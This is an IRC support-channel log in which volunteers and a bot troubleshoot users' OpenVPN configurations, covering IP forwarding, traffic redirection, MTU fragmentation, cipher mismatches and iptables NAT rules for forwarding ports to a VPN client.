18:25 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
18:25 -!- vaillor [~lol2@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
18:25 < vaillor> hi guys
18:25 < marksaitis> thats what I did :)
18:26 < marksaitis> I have no iptables there
18:26 < vaillor> openvpn is a stand alone service?
18:26 <@krzee> vaillor, as opposed to what?
18:26 < vaillor> because i installed https://itunes.apple.com/us/app/openvpn-connect/id590379981 on my iphone
18:26 <@vpnHelper> Title: OpenVPN Connect for iPhone 3GS, iPhone 4, iPhone 4S, iPhone 5, iPod touch (3rd generation), iPod touch (4th generation), iPod touch (5th generation) and iPad on the iTunes App Store (at itunes.apple.com)
18:26 < vaillor> and it asks me to login
18:26 <@krzee> did you import a config?
18:26 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 248 seconds]
18:27 < vaillor> no
18:27 < vaillor> how to do it?
18:27 <@krzee> your server is a normal opensource openvpn, right?
18:27 <@krzee> (or AS?)
18:27 < vaillor> is a linux debian terminal
18:28 <@krzee> theres 2 ways to import your configs
18:28 <@krzee> 1 is through itunes (where you can add files)
18:28 <@krzee> other is via email
18:28 <@krzee> can you do the itunes way?
18:29 < vaillor> ok, but why is tehre a sign in form?
18:29 < vaillor> yes
18:29 <@krzee> OpenVPN Connect is the official full-featured iPhone/iPad client for the OpenVPN Access Server, Private Tunnel and OpenVPN Community
18:29 <@krzee> because it supports 3 things
18:29 <@krzee> you are using openvpn community
18:29 <@krzee> if you were using one of the other 2 maybe the login stuff would matter
18:30 < vaillor> how this app works, usually iphone apps are jailed
18:30 <@krzee> it is jailed
18:30 <@krzee> there is a VPN API in ios
18:31 < vaillor> that makes it not jailed?
18:32 <@krzee> it is jailed
18:32 <@krzee> it doesnt need root now
18:32 <@krzee> same with the newer android versions
18:33 < vaillor> so, all the app of my iphone can connect trought openvpn network?
18:33 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
18:33 <@krzee> depends on your config
18:33 <@krzee> but yes its possible
18:33 < vaillor> in what sense depends on my config?
18:34 <@krzee> openvpn doesnt ALWAYS redirect internet
18:34 <@krzee> it only makes a secure connection between 2 hosts
18:34 <@krzee> what you do on top of that is up to your configs
18:34 <@krzee> (or scripts or whatever)
18:34 <@krzee> also, i strongly recommend testing your setup outside of the iphone first
18:34 -!- neilhwatson [~neilhwats@CPE00e081b5ee1e-CMbc140134c320.cpe.net.cable.rogers.com] has quit [Quit: leaving]
18:35 <@krzee> get it running how you want from another machine, then use that config on the iphone
18:35 < vaillor> i'm usually using ipSEC that is natively supported by ios. and it always redirects my connection
18:35 <@krzee> congratulations, have a cookie =]
18:35 < vaillor> the problem is that ipsec is at network layer
18:35 <@krzee> !redirect
18:35 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
18:35 <@vpnHelper> http://ircpimps.org/redirect.png
18:36 < vaillor> is it a flow-chart?
18:36 <@krzee> ?
18:36 < vaillor> the link
18:36 <@krzee> the last one is
18:37 <@krzee> but i was showing you the info of what you'll need to redirect internet over your vpn
18:37 <@krzee> and like i said, get another client working BEFORE you try the iphone
18:37 <@krzee> iphone is less ideal to troubleshoot your entire vpn on
18:38 -!- smerz [~smerz@a177088.upc-a.chello.nl] has quit [Ping timeout: 272 seconds]
18:38 < vaillor> ok
18:38 <@krzee> then when we know the server is how you want it, and you have a working client config from the test client, then we toss it on the iphone
18:38 < vaillor> thank you for helping me
18:39 <@krzee> you're welcome
18:40 < vaillor> ah, so, last question, does openvpn app support http proxy?
18:41 <@krzee> im not sure if the ios version does or not, openvpn community version definitely does
18:41 <@krzee> ios version is a re-write, closed source (otherwise apple store wouldnt take it)
18:41 <@krzee> so not *everything* is in it
18:41 <@krzee> !man
18:41 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend!
18:41 <@krzee> theres proxy stuff in there
18:42 -!- mode/#openvpn [+vvvv pekster soapee01 rob0 oc80z] by krzee
18:42 -!- mode/#openvpn [+vv EugeneKay _quadDamage] by krzee
18:43 -!- JSharpe [~JSharpe@146.185.24.18] has quit [Quit: Leaving]
18:43 < vaillor> unfortunately i need it to pass throught a protocol inspecting firewall that make it pass only http and https traffic, so i need to use an http proxy relay with CONNECT method to make it pass other stuff in
18:43 <@krzee> which im sure is tcp only
18:44 <@krzee> and only takes tcp
18:44 <@krzee> so then you have a tcp proxy, tcp openvpn, and tcp inner traffic
18:44 <@krzee> you'll have issues
18:44 <@krzee> !tcp
18:44 <@vpnHelper> "tcp" is (#1) Sometimes you cannot avoid tunneling over tcp, but if you can avoid it, DO. http://sites.inka.de/~bigred/devel/tcp-tcp.html Why TCP Over TCP Is A Bad Idea. or (#2) http://www.openvpn.net/papers/BLUG-talk/14.html for a presentation by James Yonan (OpenVPN lead developer) or (#3) if you must use tcp, you likely want --tcp-nodelay
18:44 <@krzee> ESPECIALLY when on 3g or similar
18:44 < marksaitis> krphop, I enabled ip forwarding for sure on my linux openvpn server, but it still doesnt do it :) how can I diagnose it?
18:45 < vaillor> i can hide traffic with an ssl tunnel supported by firewall, because it supports https
18:45 < vaillor> so, firewall can't know anymore what's passing in ssl tunnel
18:46 <@krzee> irrelevant to the problem you'll have
18:47 < vaillor> for example on my server i created a https proxy with squid
18:47 < vaillor> from the pc client i use stunnel like a wrapper
18:48 < vaillor> stunnel establish an encrypted ssl tunnel with proxy. and with my application like, irc, skype and so on, i connect to stunnel that conencts to proxy server that connects to the origin server
18:49 <@krzee> i understand
18:49 <@krzee> read this:
18:49 <@krzee> !tcp
18:49 <@vpnHelper> "tcp" is (#1) Sometimes you cannot avoid tunneling over tcp, but if you can avoid it, DO. http://sites.inka.de/~bigred/devel/tcp-tcp.html Why TCP Over TCP Is A Bad Idea. or (#2) http://www.openvpn.net/papers/BLUG-talk/14.html for a presentation by James Yonan (OpenVPN lead developer) or (#3) if you must use tcp, you likely want --tcp-nodelay
18:49 <@krzee> link #1
18:49 <@krzee> that is talking about tcp over tcp
18:49 <@krzee> you are going to do tcp over tcp over tcp
18:50 <@krzee> and then im guessing you may connect over 3g / 4g from time to time
18:50 <@krzee> your connection is likely going to be crap, with ever increasing latency until disconnect
18:50 <@krzee> then reconnect, rinse and repeat
18:52 <@krzee> marksaitis, show me the following in pastebin: cat /proc/sys/net/ipv4/ip_forward ; iptables -v -L
18:53 < marksaitis> krzee, http://pastebin.com/7s5J8rr8
18:54 <@krzee> marksaitis, you said the server is some sort of virtual machine?
19:00 < marksaitis> the server is in datacentre, directly connected to the internet ip. my openvpn client is a vm at home on my windows host :)
19:00 <@krzee> oh ok, so lets re-diagnose the issue
19:00 <@krzee> !goal
19:00 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
19:01 <@krzee> sharing server lan or redirecting internet over vpn?
19:02 < marksaitis> tap is configured, I can ping openvpn host 10.8.0.1 from my client which is vm bridged with tap adapter on vm-host which is connected to openvpn server. I can not ping google.com from vm client but can ping 10.8.0.1
19:02 <@krzee> !configs
19:02 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
19:06 < marksaitis> krzee, http://paste.ubuntu.com/5580923/ http://paste.ubuntu.com/5580926/
19:07 <@krzee> read this again
19:07 <@krzee> !configs
19:07 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
19:07 <@krzee> read the whole thing, it says more than just "paste your configs with 1000 lines of comments"
19:07 < marksaitis> ok :))))))
19:09 < marksaitis> http://paste.ubuntu.com/5580935/
19:10 < marksaitis> http://paste.ubuntu.com/5580937/
19:18 <@krzee> you arent telling openvpn to redirect your internet over the vpn
19:18 <@krzee> therefor openvpn is correct not to
19:19 <@krzee> !redirect
19:19 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
19:19 <@vpnHelper> http://ircpimps.org/redirect.png
19:19 <@krzee> see the troubleshooting flowchart
19:19 <@krzee> last link, #4
19:20 <+rob0> Nombre quatro, se~or.
19:20 <+rob0> por favor!
19:21 <@krzee> name four, ??-??
19:21 <@krzee> please!
19:21 <@krzee> thats the translation for that one, lol
19:21 <@krzee> ohh señor :D
19:22 <@krzee> s/Nombre/numero/
19:22 <@krzee> :D
19:23 <+rob0> oh oops
19:23 <+rob0> I plead the fifth.
19:24 <@krzee> lol lol
19:24 <@krzee> I PLEAD THE FIF
19:24 <@krzee> 1 2 3 4 FIF
19:24 <+rob0> I plead the 750ml bottle.
19:24 <+pekster> Plead the forth: it's more fun. http://xkcd.com/496/
19:24 <@vpnHelper> Title: xkcd: Secretary: Part 3 (at xkcd.com)
19:24 <+pekster> Oh, that was the third. I suppose I should read comics before I quote from them, 'eh?
19:25 <@krzee> http://www.ebaumsworld.com/video/watch/81460739/
19:25 <@vpnHelper> Title: DAVE CHAPPELLE - I PLEAD THE FIF - Video (at www.ebaumsworld.com)
19:27 <+rob0> Oops. I even got the bottle wrong. It's 1.5 liter!
19:27  * rob0 crawls under Iraq
19:30 <@krzee> lol nice comic
19:30 <@krzee> the auto-troll shuffle!
19:32 -!- Zhvtar is now known as zhvtar
19:36 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
19:42 < marksaitis> krzee, I thought it might be that... but I specified in vm client static gw, also I dont want my vm host to have all internet redirected thru openvpn tap adapter
19:43 <@krzee> marksaitis, whats your goal
19:43 <@krzee> what DO you want?
19:44 <@krzee> your configs simply make a connection between client and server, and that is working
19:44 <@krzee> before i can help you go further, i need to know what you want
19:46 <@krzee> rob0, http://xkcd.com/1168/
19:46 <@vpnHelper> Title: xkcd: tar (at xkcd.com)
19:46  * rob0 wants more booze
19:46 <+rob0> hehe
20:05 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds]
20:06 -!- MFSOT [~garret@c-24-34-166-26.hsd1.ma.comcast.net] has joined #openvpn
20:07 < MFSOT> having trouble connecting my win7 client to my pfsense openvpn server, anyone with some experience in this realm hanging out tonight?
20:10 -!- ar0nic [~no@c-174-56-147-242.hsd1.sc.comcast.net] has quit [Ping timeout: 255 seconds]
20:11 -!- sh_t [~sht@176.222.238.158] has joined #openvpn
20:12 -!- pinion [~pinion@unaffiliated/pinion] has quit [Read error: Connection reset by peer]
20:15 -!- vaillor [~lol2@2-226-37-187.ip179.fastwebnet.it] has quit []
20:16 -!- pinion [~pinion@unaffiliated/pinion] has joined #openvpn
20:21 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Ping timeout: 248 seconds]
20:27 -!- bluethundr [~dunphy@ool-457cd1ed.dyn.optonline.net] has joined #openvpn
20:28 -!- bluethundr [~dunphy@ool-457cd1ed.dyn.optonline.net] has quit [Read error: Connection reset by peer]
20:31 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
20:34 -!- xtz [xtz@DeathStar.Techn0.eu] has quit [Quit: Lost terminal]
20:35 -!- latenite [~latenite@138.77.120.247] has joined #openvpn
20:35 <+pekster> !configs
20:35 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
20:35 <+pekster> !logs
20:35 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
20:35 <+pekster> Start there
20:36 <+pekster> verb 3 is fine if that's what you're using now (I'll let you know if I need higher after seeing them)
20:38 < latenite> pekster, sorry I already edited and restarted...
20:38 < latenite> so thats the server https://gist.github.com/anonymous/5074229
20:38 <@vpnHelper> Title: gist:5074229 (at gist.github.com)
20:38 <+pekster> np, 5 just gives more info (more isn't a problem, although >5 and you end up with lots of worthless debugging info, unless you're a developer)
20:39 <+pekster> Start with the config
20:39 <+pekster> status doesn't help (that shows you have "no clients" connected and isn't useful)
20:39 <+pekster> See the bot output above for a grep syntax to strip comments too
20:40 < latenite> and thats the client log: https://gist.github.com/anonymous/5074235
20:40 <@vpnHelper> Title: gist:5074235 (at gist.github.com)
20:41 < latenite> pekster, I wonder why it sais "inactive" when I restart
20:41 < dli_> can I connect to openvpn 2.2 server using openvpn version 2.3 client?
20:41 <+pekster> dli_: Yup, everything except ipv6 should work fine like that
20:42 < latenite> pekster, this is the server config:
20:42 < latenite> https://gist.github.com/anonymous/5074237
20:42 <+pekster> latenite: looks like you're not getting any options or IP pushed
20:42 <@vpnHelper> Title: gist:5074237 (at gist.github.com)
20:42 < dli_> pekster, then, it's really weird, each time I upgrade to 2.3 client. the client gets IP, but nothing else works, I can not ping
20:42 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
20:43 <+pekster> best to have run that through the grep command the bot gave you above latenite. I can do it on my end, but next time I don't need 100's of lines of comments/blanks
20:43 < dli_> Mar  2 21:43:00 compaq ovpn-openvpn[4768]: gateway/172.16.0.6:44037 FRAG_IN error flags=0xfa2a187b: FRAG_TEST not implemented
20:44 < latenite> pekster, please excuse https://gist.github.com/anonymous/5074246
20:44 <@vpnHelper> Title: gist:5074246 (at gist.github.com)
20:45 <+pekster> Thanks, much easier to read (and less of a hassle to save/sed/re-load that on my end)
20:46 <+pekster> latenite: Can you paste the client config the same way? It's not pulling the IP/route details fromo the server it should
20:46 <+pekster> You're probably missing the client or pull directive to do that
20:46 <+pekster> dli_: You get that in the client log when pinging the server's VPN IP?
20:47 -!- MFSOT [~garret@c-24-34-166-26.hsd1.ma.comcast.net] has quit [Ping timeout: 248 seconds]
20:48 < latenite> pekster, there we go. :D https://gist.github.com/anonymous/5074256
20:48 <@vpnHelper> Title: gist:5074256 (at gist.github.com)
20:48 -!- l1t [~l1t@cpe-70-112-112-239.austin.res.rr.com] has joined #openvpn
20:49 < dli_> pekster, http://pastebin.com/UPz6zj99
20:50 < l1t> hi i'm getting the following error when just testing connecting to opnevpn from my home network to my home router vpn:  https://ezcrypt.it/Nd6n#W1xQqw5FAnChgo4latDoxgnB Where do I actually remove --remote or add --float to??
20:50 <@vpnHelper> Title: EZCrypt - Paste (at ezcrypt.it)
20:50 <+pekster> latenite: Okay, looks like the client isn't successfully getting connected. that log file from the client doesn't contain the expected line 'Initilization sequence completed'. It is getting an initial packet back (line 230 in the client log paste you linked) but not a successful connection
20:51 <+pekster> dli_: Looks like at the very least you have mis-matched MTU settings between your peers
20:52 < latenite> pekster, hmm ok. I have to admit I dont know how to get this straiht. How would I get a Initilization sequence completed then?
20:55 <+pekster> l1t: The config file on the system emitting that message, or the command-line you're calling it with
20:56 < dli_> pekster, I have " tun-mtu 1450" and  "fragment 1350" at both server and client conf, but the client log shows,local='tun-mtu 1500',
20:56 <+pekster> latenite: Did you copy that log file pre-maturely before it completed? If not, the TLS handshake and openvpn tunnel negotiation never completed and you're not actually connected, hence the client has no IP
20:56 < latenite> pekster, I dont think the network setting on the tun device are right https://gist.github.com/anonymous/5074281
20:56 <@vpnHelper> Title: gist:5074281 (at gist.github.com)
20:58 <+pekster> dli_: Any chance that's getting overritten with some frontend (like networkmanager or an initscript) adding --tun-mtu as a command line option? The last used option takes priority
20:58 <+pekster> latenite: that's fine for a PtP setup. 'ip route show' should list the 10.8.0.0/24 route
20:59 < dli_> pekster, nobody    9867  0.0  0.0  21044  3228 ?        Ss   21:53   0:00 /usr/sbin/openvpn --cd /etc/openvpn --config /etc/openvpn/tw3.conf --daemon openvpn@tw3
20:59 < latenite> I realy might have pasted the log file to early. Now there are anotehr 3 line https://gist.github.com/gists
20:59 <@vpnHelper> Title: Gists (at gist.github.com)
20:59 < dli_> pekster, looks like there's no command line option for openvpn at client side. Another hint is that, if I downgrade 2.3 client to 2.2, without conf change, it works again
21:00 < latenite> pekster, that the routing table of the client https://gist.github.com/anonymous/5074292
21:00 <@vpnHelper> Title: gist:5074292 (at gist.github.com)
21:00 <+pekster> dli_: "no command line option for openvpn at client side" <-- I don't get that
21:01 < dli_> pekster, I pasted the whole command line for openvpn at the client side
21:01 < dli_> pekster, let me pastebin the client conf file
21:01 <+pekster> Sure
21:02 <+pekster> latenite: The routing table looks fine. You didn't copy the URL on the extra clcient log output link though
21:03 < dli_> pekster, https://gist.github.com/5074300
21:03 <@vpnHelper> Title: /tmp/tw3.conf (at gist.github.com)
21:03 < latenite> pekster, sorry. I don't know what you meen. What am I missing?
21:04 < latenite> pekster, ohh I see...
21:04 < latenite> hold on.. :D
21:04 < latenite> pekster, https://gist.github.com/anonymous/5074289
21:04 <@vpnHelper> Title: gist:5074289 (at gist.github.com)
21:05 < latenite> pekster, sometimes github is kinda slow.. :D
21:07 <+pekster> dli_: Ah, okay, I don't think you intend to be using an --fragment value lower than the --tun-mtu value. That's probably why you get that FRAG_TEST message, becuase openvpn is trying to fragment packets smaller than your link size is. Do you need the mtu stuff at all? Normally you only need that when either PMTU is broken, or you have a pppoe link or something
21:07 < latenite> pekster, whats with line 447 to 461 ? https://gist.github.com/anonymous/5074289
21:07 <@vpnHelper> Title: gist:5074289 (at gist.github.com)
21:08 < latenite> pekster, that looks kind of bad to me.. Is it?
21:08 <+pekster> This is a bigger issue for you: WARNING: 'cipher' is used inconsistently, local='cipher AES-128-CBC', remote='cipher BF-CBC'
21:09 <+pekster> You need to match options like encryption on both sides
21:09 < dli_> pekster, I found I had to set those values, without fragment, copying files larger than 1KB failed. how do I fix this issue?
21:09 <+pekster> I missed that before latenite. Your client & server configs don't match
21:09 < latenite> pekster, in what way?
21:10 < latenite> pekster, where would the mismatch be?
21:10 < dli_> pekster, my server is at home on PPPOE (adsl)
21:10 <+pekster> latenite: remove line 14 as shown here: https://gist.github.com/anonymous/5074256
21:10 <@vpnHelper> Title: gist:5074256 (at gist.github.com)
21:11 -!- aaaar0n [~no@c-174-56-147-242.hsd1.sc.comcast.net] has joined #openvpn
21:11 -!- aaaar0n is now known as ar0nic
21:11 <+pekster> dli_: Ah, ideally use the --mtu-test option on the client (that'll take a few minutes to complete) which connects to your server and discovers the largest unfragmented packet it can send successfully
21:11 < dli_> pekster, thanks
21:12 <+pekster> dli_: Then take that value and apply it to the --fragment value, along with the --mssfix option
21:12 <+pekster> You should leave the --tun-mtu alone in most cases
21:12 < latenite> pekster, wow, cool. I can ping the server.
21:12 < latenite> https://gist.github.com/anonymous/5074316
21:12 <@vpnHelper> Title: gist:5074316 (at gist.github.com)
21:12 < dli_> pekster, it's clear, thanks
21:12 <+pekster> --mssfix in the manpage has some useful troubleshooting tips too dli_ :)
21:13 < latenite> pekster, thats good, right :D ?!!
21:13 <+pekster> Yup, your VPN is working since you can ping your remote peer
21:13 <+pekster> (log file was again cut off early, but that's okay.)
21:14 < latenite> pekster, now how would I test that whole thing? I meen the main reason why I did et it up was because my email clients ports are filtered.
21:14 <+pekster> You can drop the verb level down to 4 or lower (3 is thte default) since otherwise your log gets RWrw printed for every packet
21:14 <+pekster> latenite: What's the goal here?
21:15 <+pekster> !goal
21:15 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
21:15 < latenite> pekster, I just wonder about the workings. Because now I have the wifi....AND the tun interface. How does my laptops software (email client) know which device/internet connection to use?
21:16 <+pekster> routing tables. Your default route is still used; the VPN currently only is used for 10.8.0.0/24 (the VPN network itself)
21:16 < latenite> the goal is to be able to use all ports on my client while beeing on this campus wifi which only allows certain ports (80, 443, 21 ...)
21:16 <+pekster> "use all ports on my client" ?
21:17 <+pekster> For outbound access?
21:17 < latenite> e.g. I can ssh TO the outside world. But I can not copy a file from a remote server to my laptop.
21:18 < latenite> ssh inbound is blocked by the wifi-capus setup
21:18 <+pekster> That's more complicated since your client's VPN IP is an rfc1918 IP, so it's private and not globally routable
21:18 <+pekster> You either need to give the client a public IP (which requires you to have routed a block on your VPN server that you can allocate to clients) or use NAT on the VPN server to expose the ports you want
21:19 -!- dli_ [~dli@dsl-69-171-139-151.acanac.net] has quit [Ping timeout: 248 seconds]
21:20 < latenite> pekster, I can not give my client a public IP. I only have this one public IP thats is bounf to my Vserver that I have rented.
21:21 < latenite> pekster, each public IP would cost a dollar or so and I doub they hand out as many as I want
21:21 < latenite> pekster, How would I do the NAT thing on the server?
21:23 -!- pulz_ [geir@winning.no] has joined #openvpn
21:23 -!- matsh_ [divine@nanogene.org] has joined #openvpn
21:24 -!- rob0_ [rob0@harrier.slackbuilds.org] has joined #openvpn
21:24 -!- rob0_ [rob0@harrier.slackbuilds.org] has quit [Changing host]
21:24 -!- rob0_ [rob0@pdpc/valentine/postfixninja/rob0] has joined #openvpn
21:25 -!- kisom_ [~kisom@c-75dce155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn
21:26 <+pekster> latenite: So you can DNAT packets as they reach your server's public IP and send them to your VPN client's internal IP, although you need to be careful not to do this for ssh for instance or you'll loose remote access to the host itself
21:26 <+pekster> (or run ssh on differnet ports for the VPN server vs the client)
21:27 <+pekster> Make sure to exclude ports like that you require proper access to the host, and then you could redirect anything else to the client. You'd want to firewall the client properly in any event, since it will be exposed to all the usual nastyness on the public Internet
21:27 -!- simcop2387_ [~simcop238@p3m/member/simcop2387] has joined #openvpn
21:27 -!- xbanux [~xbanux@triband-mum-59.182.131.207.mtnl.net.in] has joined #openvpn
21:27 -!- dli_ [~dli@69.172.86.211] has joined #openvpn
21:28 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has quit [Disconnected by services]
21:28 -!- rob0_ is now known as rob0
21:29 < latenite> pekster, So what you're saing is: I should run my sshd on the vpn-server on a port like 2222 ?
21:29 < latenite> pekster, did I get that right?
21:29 <+pekster> Not really, that depends greatly on how you want to DNAT things
21:29 <+pekster> If you want to pass specific ports through, then do that instead
21:30 <+pekster> Otherwise, here's an example that re-directs "everything but tcp/22" to the VPn client, assuming it's on 10.8.0.6: http://paste.kde.org/686006/
21:30 -!- Netsplit *.net <-> *.split quits: @plaisthos, @vpnHelper, corretico, simcop2387, pulz, Cybertinus, matsh, amir, kisom, clu5ter
21:30 -!- matsh_ is now known as matsh
21:30 -!- simcop2387_ is now known as simcop2387
21:30 <+pekster> It's very (very!) critical you understand how that works before you implement it, and requires the traffic to be let through on the relevant filter chains as well
21:31 <+pekster> And, there goes our bot
21:31 < latenite> pekster, I am very sorry. But this is all very new to me.
21:32 < latenite> so what our paste does, is set up iptable/firewall rules. right?
21:32 <+pekster> latenite: So, basically that snippit (that's all on the nat table) takes any packets coming in bound for the public IP of the server, and sends them to the "vpn_nat" chain. It returns (ie: ignores) anything coming in for tcp/22 (which I'm assuming is for ssh to the host itself.) Anything else that's coming in as a new connection gets re-written to go to the VPN client instead
21:33 < latenite> pekster, I d have to read the manual about the flaf -j -d
21:33 <+pekster> Line 10 takes incoming packets bound for the VPN server's public IP and sends them to the vpn_nat chain
21:33 <+pekster> Line 11 ignores (ie: does not NAT) ones bound for tcp/22
21:34 <+pekster> Line 12 takes "anything else" on that vpn_nat chain and sends them to the VPN client on that IP
21:35 < latenite> pekster, but by that only the client with 10.8.0.6 would be able to use all that?
21:35 <+pekster> Right
21:35 <+pekster> You only have 1 public IP
21:35 <+pekster> Welcome to the ugly world of NAT
21:35 <+pekster> Your 10.8.0.0/24 "doesn't exist" according to the rest of the internet. You and everyone else using the example VPN config file use that same network
21:36 < latenite> No way I could ever use more than one client to do what I want with this vpn-server?
21:36 -!- Netsplit over, joins: corretico
21:36 < latenite> I so see the problem!
21:36 <+pekster> Sure, you can connect as many as you'd like
21:36 <+pekster> But how do you plan to get "outside" data to them?
21:37 < latenite> how would my vpn server know where to send the packets to...if they are ment to be send to the same IP/port
21:37 -!- Netsplit over, joins: amir
21:37 <+pekster> Right. It can't.
21:37 < latenite> I did get that right?!
21:37 < latenite> ok..I feel like I understood some of it.
21:38 < latenite> Ok so what I would need is a range of real IPs?!
21:38 < latenite> no way  around that?!
21:38 <+pekster> That, or use more targeted NAT and send specific ports to specific clients. You presumably also want to expand the --server directive on the openvpn server config file and break that out (see the manpage for how expansion works) to reduce the ifconfig-ppol
21:38 <+pekster> You need static IPs if you expect the same client to get the same IP, so that would mean using ccd files and ifconfig-push rules in them
21:38 <+pekster> !ccd
21:39 <+pekster> Ugh, and the bot was lost in the netsplit
21:39 <+pekster> The bot would have told you:
21:39 <+pekster> #1: entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name
21:39 <+pekster> #2: the ccd file is parsed each time the client connects.
21:40 < latenite> pekster, that's basicly for my cleint to always get the same IP?!
21:40  * rob0 appoints pekster as #openvpn's Junior Assistant Bot
21:40 <+pekster> rob0: If I didn't have the factoids link in my browser URL history, I was not planning to grep for the factoids link :P
21:41 < rob0> Bot Pro Tem
21:41 <+pekster> latenite: Right. And ifconfig-push gets more logical to manage if you use the 'topology subnet' in your server, otherwise you need to push IPs in the middle of a /30 within the VPN network
21:42 <+pekster> (and that's just ugly)
21:43 < latenite> pekster, *cry* I did not get that a bit. sorry
21:43 < latenite> So for me to get started.
21:43 <+pekster> Add 'topology subnet' to the server is all you need to take away from that
21:43 < latenite> ...I dont have any rules in my firewal for now...
21:43 <+pekster> You don't need (or want) the default net30 behaviour (it's complicated, and only useful if you have really old 2.0.9 clients that are over 6 years old)
21:45 < latenite> pekster,  I wouldn't knwo what the net30 thing is. sorry
21:45 < latenite> ok I added topology subnet to my server.conf
21:45 <+pekster> In that case you can take my example rule snippit and load it via iptables-restore (though you need to fix my typo: I added an extra space on line 5 after the colon that desn't belong)
21:46 <+pekster> It's somewhat unwise to run a server with no firewall at all, but perhaps you're not running anything besdies ssh on it anyway. It's still bad practice for anything on the public Internet
21:47 <+pekster> Just be warned that ruleset does exactly what I described in that anything not caught by the return rules on that vpn_nat chain get sent to the client. It will effectively make communicating with the server impossible for anything not there
21:47 <+pekster> That includes inbound pings too, for better or worse
21:48 <+pekster> Overall I think it's a somewhat silly thing to do, but you're free to play with that
21:48 <+pekster> Seems an awful lot of trouble to go through just to accept inbound connections to your system
21:50 < latenite> pekster, I could still use ssh to log in to the von server? right?
21:50 <+pekster> Provided it's listening on port 22,  yes
21:51 < latenite> pekster, actually I would like that. by that its like a "dead thing" but nicely pushes evreything to my client
21:51 <+pekster> rob0: Can you please make IPv6 come faster? kthx.
21:52 < rob0> um, I'm an email admin, I am afraid of ipv6 :(
21:52 < latenite> pekster,  to I need to do anything else to the server config to make sure I keep getting the same ip for my client? For now I only added topology subnet and restartd
21:52 <+pekster> latenite: Right. I'd generally recommend you accept pings to the server too, since that's a useful debugging tool. Add this between lines 11 & 12: -A vpn_nat -p icmp --icmp-type ping
21:52 < rob0> (wide open opportuntites for spammers, DNSBLs will no longer be feasible)
21:53 <+pekster> latenite: Yes, do what I said above. Expand the --server directive as described in the manpage for the expansion for tun. Then reduce your ifconfig-pool range to something sane line 10.8.0.100 10.8.0.199. Finally add a ccd file as I pasted info for above, named with your client cert CN, and put in that file: ifconfig-push 10.8.0.6 255.255.255.0
21:54 <+pekster> rob0: Well, if mail servers checked to make sure a sending MTA was also listed in a forward zone, that might help
21:55 <+pekster> Google and other places have IPv6-enabled mail gateways, and they seem to be doing okay
21:55 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has joined #openvpn
21:55 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
21:55 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
21:55 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
21:55 -!- ServerMode/#openvpn [+oo plaisthos vpnHelper] by leguin.freenode.net
21:55 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has quit [Max SendQ exceeded]
21:55 <+pekster> vpnHelper: slacker.
21:55 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has joined #openvpn
21:56 < rob0> The only reasonable way I see is to use a default-deny policy and whitelists. Spam hasn't yet taken hold in ipv6 because spammers focus their efforts where more junk can get delivered. A lot of sites are hesitating to publish ipv6 MX.
21:56 < rob0> when more users are in v6, spam will be there too
